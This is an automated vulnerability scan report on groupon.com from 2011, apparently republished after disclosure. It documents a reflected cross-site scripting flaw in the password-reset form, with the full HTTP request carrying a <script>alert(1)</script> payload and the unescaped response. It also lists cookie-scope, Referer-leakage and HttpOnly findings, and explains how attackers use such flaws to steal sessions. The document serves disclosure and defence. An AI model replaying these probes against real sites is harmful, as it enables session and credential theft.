XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, groupon.com

Report generated by XSS.CX at Wed Oct 19 18:29:37 CDT 2011.

Reported 10/19/2011 to Groupon Customer Service via Ticket Id:5503950 and noted resolved today, 11/30/2011

Loading



1. Cross-site scripting (reflected)

XSS in groupon, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

2. Cookie scoped to parent domain

2.1. http://www.groupon.com/

2.2. http://www.groupon.com/learn

2.3. http://www.groupon.com/personalize

2.4. http://www.groupon.com/personalize/all_deals

2.5. http://www.groupon.com/subscriptions/new

2.6. http://www.groupon.com/users/forgot_password

2.7. http://www.groupon.com/users/send_password_reset

3. Cross-domain Referer leakage

3.1. http://www.groupon.com/subscriptions/new

3.2. http://www.groupon.com/subscriptions/new

3.3. http://www.groupon.com/subscriptions/new

4. Cross-domain script include

4.1. http://www.groupon.com/dallas/

4.2. http://www.groupon.com/dallas/all

4.3. http://www.groupon.com/learn

4.4. http://www.groupon.com/subscriptions/new

4.5. http://www.groupon.com/users/forgot_password

4.6. http://www.groupon.com/users/send_password_reset

5. Cookie without HttpOnly flag set

5.1. http://www.groupon.com/

5.2. http://www.groupon.com/learn

5.3. http://www.groupon.com/personalize

5.4. http://www.groupon.com/personalize/all_deals

5.5. http://www.groupon.com/subscriptions/new

5.6. http://www.groupon.com/users/forgot_password

5.7. http://www.groupon.com/users/send_password_reset

6. Content type incorrectly stated



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /users/send_password_reset

Issue detail

The value of the user%5Bemail_address%5D request parameter is copied into the HTML document as plain text between tags. The payload 5c1fe<script>alert(1)</script>c290a546d43 was submitted in the user%5Bemail_address%5D parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

POST /users/send_password_reset HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Content-Length: 135
Cache-Control: max-age=0
Origin: http://www.groupon.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.groupon.com/users/forgot_password
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _tpref=cdn; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; visited=visit_2; adchemy_id=; division=dallas; b=678db9c0-faa9-11e0-9fd6-005056950d32; s=678dc190-faa9-11e0-9fd6-005056950d32; _thepoint=f6b82100e8966dc929f473cbf7a0e757; __utma=44473723.1051317878.1319066684.1319066684.1319066684.1; __utmb=44473723.5.9.1319066695952; __utmc=44473723; __utmz=44473723.1319066684.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1

_method=put&authenticity_token=r2iQsHl53k5eJtt0xVAKxMaR4xKHLWCXQbUvmb36F48%3D&user%5Bemail_address%5D=test%40fastdial.net5c1fe<script>alert(1)</script>c290a546d43&commit=Submit

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "c941b368c4f6cceb93b3afbb32bec319"
X-Runtime: 116
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Date: Wed, 19 Oct 2011 23:25:06 GMT
Content-Length: 46543
Connection: close
Vary: Accept-Encoding
Set-Cookie: scid=email_addresstest%40fastdial.net5c1fe%3Cscript%3Ealert%281%29%3C%2Fscript%3Ec290a546d43; path=/; expires=Tue, 19-Oct-2021 23:25:05 GMT
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:25:05 GMT
Set-Cookie: b=678db9c0-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:25:05 GMT
Set-Cookie: s=678dc190-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f6b82100e8966dc929f473cbf7a0e757; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:25:05 GMT; HttpOnly

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:groupon="http://groupon.com/ns/#" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<
...[SNIP]...
<div>
Sorry, no user was found for test@fastdial.net5c1fe<script>alert(1)</script>c290a546d43.

<span id='close'>
...[SNIP]...

2. Cookie scoped to parent domain  previous  next
There are 7 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


2.1. http://www.groupon.com/  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.groupon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: __utma=44473723.1129982535.1316999742.1316999742.1316999742.1; __utmz=44473723.1316999742.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; b=ba1e76d2-e7dc-11e0-85d0-005056951276; division=dallas; visited=true; visited_channels=getaways; __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1

Response

HTTP/1.1 302 Moved Temporarily
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 302
Location: http://www.groupon.com/dallas/
X-Runtime: 50
Content-Length: 96
X-UA-Compatible: chrome=IE8
Vary: Accept-Encoding
Expires: Wed, 19 Oct 2011 23:22:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 19 Oct 2011 23:22:11 GMT
Connection: close
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:22:11 GMT
Set-Cookie: b=ba1e76d2-e7dc-11e0-85d0-005056951276; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:22:11 GMT
Set-Cookie: s=2b93e336-faa9-11e0-8e04-005056921c52; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f89bc8770a1eddd3a48298dac40267e7; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:22:11 GMT; HttpOnly

<html><body>You are being <a href="http://www.groupon.com/dallas/">redirected</a>.</body></html>

2.2. http://www.groupon.com/learn  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /learn

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /learn HTTP/1.1
Host: www.groupon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: __utma=44473723.1129982535.1316999742.1316999742.1319066592.2; __utmz=44473723.1319066592.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; b=ba1e76d2-e7dc-11e0-85d0-005056951276; division=dallas; visited=true; visited_channels=getaways; __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1; adchemy_id=; s=2b93e336-faa9-11e0-8e04-005056921c52; _thepoint=f89bc8770a1eddd3a48298dac40267e7; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; __utmb=44473723.3.8.1319066592; __utmc=44473723

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "29c76ca3a57d1ac37c0b665a807e8f07"
X-Runtime: 128
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Content-Length: 121932
Vary: Accept-Encoding
Date: Wed, 19 Oct 2011 23:25:37 GMT
Connection: close
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:25:37 GMT
Set-Cookie: b=ba1e76d2-e7dc-11e0-85d0-005056951276; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:25:37 GMT
Set-Cookie: s=2b93e336-faa9-11e0-8e04-005056921c52; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f89bc8770a1eddd3a48298dac40267e7; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:25:37 GMT; HttpOnly

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:groupon="http://groupon.com/ns/#" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<
...[SNIP]...

2.3. http://www.groupon.com/personalize  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /personalize

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /personalize?aaaa=bbbb%22%3Ess&ccc=dddd&11111=22222&fer=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue HTTP/1.1
Host: www.groupon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.groupon.com/dallas/
Cookie: __utma=44473723.1129982535.1316999742.1316999742.1316999742.1; __utmz=44473723.1316999742.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; b=ba1e76d2-e7dc-11e0-85d0-005056951276; division=dallas; visited=true; visited_channels=getaways; __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1; adchemy_id=; s=2b93e336-faa9-11e0-8e04-005056921c52; _thepoint=f89bc8770a1eddd3a48298dac40267e7; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/json; charset=utf-8
Status: 200
ETag: "eac2c7be6b093b8e0484ea20b050f881"
X-Runtime: 64
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Content-Length: 191
Vary: Accept-Encoding
Date: Wed, 19 Oct 2011 23:22:19 GMT
Connection: close
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:22:18 GMT
Set-Cookie: b=ba1e76d2-e7dc-11e0-85d0-005056951276; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:22:18 GMT
Set-Cookie: s=2b93e336-faa9-11e0-8e04-005056921c52; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f89bc8770a1eddd3a48298dac40267e7; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:22:18 GMT; HttpOnly

{"personas_enabled":true,"places_enabled":true,"flash":{},"subscribed_to_current_division":false,"is_authenticated":false,"subscribed_to_current_channel":false,"marketing_drive_message":null}

2.4. http://www.groupon.com/personalize/all_deals  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /personalize/all_deals

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /personalize/all_deals?aaaa=bbbb%22%3Ess&ccc=dddd&11111=22222&fer=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue HTTP/1.1
Host: www.groupon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.groupon.com/dallas/all
Cookie: __utma=44473723.1129982535.1316999742.1316999742.1319066592.2; __utmz=44473723.1319066592.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; b=b113756c-faa9-11e0-91b9-00505692776c; division=dallas; visited=true; visited_channels=getaways; __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1; adchemy_id=; s=b1137cd8-faa9-11e0-91b9-00505692776c; _thepoint=f89bc8770a1eddd3a48298dac40267e7; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; __utmb=44473723.4.8.1319066592; __utmc=44473723; _tpref=cdn

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/json; charset=utf-8
Status: 200
ETag: "a3c47bb32d6f9bd49af271d10a993833"
X-Runtime: 389
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Date: Wed, 19 Oct 2011 23:26:01 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:26:01 GMT
Set-Cookie: b=b113756c-faa9-11e0-91b9-00505692776c; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:26:01 GMT
Set-Cookie: s=b1137cd8-faa9-11e0-91b9-00505692776c; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f89bc8770a1eddd3a48298dac40267e7; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:26:01 GMT; HttpOnly
Content-Length: 221159

{"location_search":null,"personas_enabled":true,"places_enabled":true,"flash":{},"subscribed_to_current_division":false,"is_authenticated":false,"subscribed_to_current_channel":false,"deals":[{"deal_m
...[SNIP]...

2.5. http://www.groupon.com/subscriptions/new  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /subscriptions/new

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /subscriptions/new?division_p=dallas HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.groupon.com/dallas/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _tpref=cdn; adchemy_id=; b=678db9c0-faa9-11e0-9fd6-005056950d32; s=678dc190-faa9-11e0-9fd6-005056950d32; _thepoint=f6b82100e8966dc929f473cbf7a0e757; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; division=dallas; visited=visit_1

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "2de53705a5f98264ad0012381ac73181"
X-Runtime: 105
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Content-Length: 34645
Vary: Accept-Encoding
Date: Wed, 19 Oct 2011 23:23:54 GMT
Connection: close
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:23:53 GMT
Set-Cookie: b=678db9c0-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:23:53 GMT
Set-Cookie: s=678dc190-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f6b82100e8966dc929f473cbf7a0e757; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:23:54 GMT; HttpOnly

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang='en' xmlns:fb='http://www.facebook.com/2008/fbml' xmlns='http://www
...[SNIP]...

2.6. http://www.groupon.com/users/forgot_password  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /users/forgot_password

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /users/forgot_password HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _tpref=cdn; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; visited=visit_2; __utma=44473723.1051317878.1319066684.1319066684.1319066684.1; __utmb=44473723.4.9.1319066695952; __utmc=44473723; __utmz=44473723.1319066684.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1; adchemy_id=; division=dallas; b=678db9c0-faa9-11e0-9fd6-005056950d32; s=678dc190-faa9-11e0-9fd6-005056950d32; _thepoint=f6b82100e8966dc929f473cbf7a0e757

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "0274e2289e46a1acd231c3fc123f5e94"
X-Runtime: 107
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Date: Wed, 19 Oct 2011 23:24:36 GMT
Content-Length: 45848
Connection: close
Vary: Accept-Encoding
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:24:36 GMT
Set-Cookie: b=678db9c0-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:24:36 GMT
Set-Cookie: s=678dc190-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f6b82100e8966dc929f473cbf7a0e757; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:24:36 GMT; HttpOnly

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:groupon="http://groupon.com/ns/#" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<
...[SNIP]...

2.7. http://www.groupon.com/users/send_password_reset  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /users/send_password_reset

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

POST /users/send_password_reset HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Content-Length: 135
Cache-Control: max-age=0
Origin: http://www.groupon.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.groupon.com/users/forgot_password
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _tpref=cdn; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; visited=visit_2; adchemy_id=; division=dallas; b=678db9c0-faa9-11e0-9fd6-005056950d32; s=678dc190-faa9-11e0-9fd6-005056950d32; _thepoint=f6b82100e8966dc929f473cbf7a0e757; __utma=44473723.1051317878.1319066684.1319066684.1319066684.1; __utmb=44473723.5.9.1319066695952; __utmc=44473723; __utmz=44473723.1319066684.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1

_method=put&authenticity_token=r2iQsHl53k5eJtt0xVAKxMaR4xKHLWCXQbUvmb36F48%3D&user%5Bemail_address%5D=test%40fastdial.net&commit=Submit

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "0bed63224530cb0de574d73fd1d22a54"
X-Runtime: 147
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Date: Wed, 19 Oct 2011 23:24:45 GMT
Content-Length: 46579
Connection: close
Vary: Accept-Encoding
Set-Cookie: scid=email_addresstest%40fastdial.net; path=/; expires=Tue, 19-Oct-2021 23:24:45 GMT
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:24:45 GMT
Set-Cookie: b=678db9c0-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:24:45 GMT
Set-Cookie: s=678dc190-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f6b82100e8966dc929f473cbf7a0e757; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:24:45 GMT; HttpOnly

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:groupon="http://groupon.com/ns/#" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<
...[SNIP]...

3. Cross-domain Referer leakage  previous  next
There are 3 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


3.1. http://www.groupon.com/subscriptions/new  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /subscriptions/new

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /subscriptions/new?division_p=dallas HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _tpref=cdn; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; __utma=44473723.1051317878.1319066684.1319066684.1319066684.1; __utmb=44473723.2.9.1319066684; __utmc=44473723; __utmz=44473723.1319066684.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1; adchemy_id=; division=dallas; b=678db9c0-faa9-11e0-9fd6-005056950d32; s=678dc190-faa9-11e0-9fd6-005056950d32; visited=visit_2; _thepoint=f6b82100e8966dc929f473cbf7a0e757
If-None-Match: "34d855e385a15576e371fdd93332cf55"

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "147c60fe6199d0f82ef36863bbbf4661"
X-Runtime: 131
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Date: Wed, 19 Oct 2011 23:24:09 GMT
Content-Length: 34514
Connection: close
Vary: Accept-Encoding
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:24:09 GMT
Set-Cookie: b=678db9c0-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:24:09 GMT
Set-Cookie: s=678dc190-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f6b82100e8966dc929f473cbf7a0e757; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:24:09 GMT; HttpOnly

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang='en' xmlns:fb='http://www.facebook.com/2008/fbml' xmlns='http://www
...[SNIP]...
</script>
<link href='http://assets2.grouponcdn.com/favicon.ico?rnb1Dk6i' rel='SHORTCUT ICON' />
<script type="text/javascript">
...[SNIP]...
<meta content='IE=Edge,chrome=IE6' http-equiv='X-UA-Compatible' />
<link href="http://assets2.grouponcdn.com/static/stylesheets/app/landing/index-zm9BnoJf.css" media="screen" rel="stylesheet" type="text/css" />
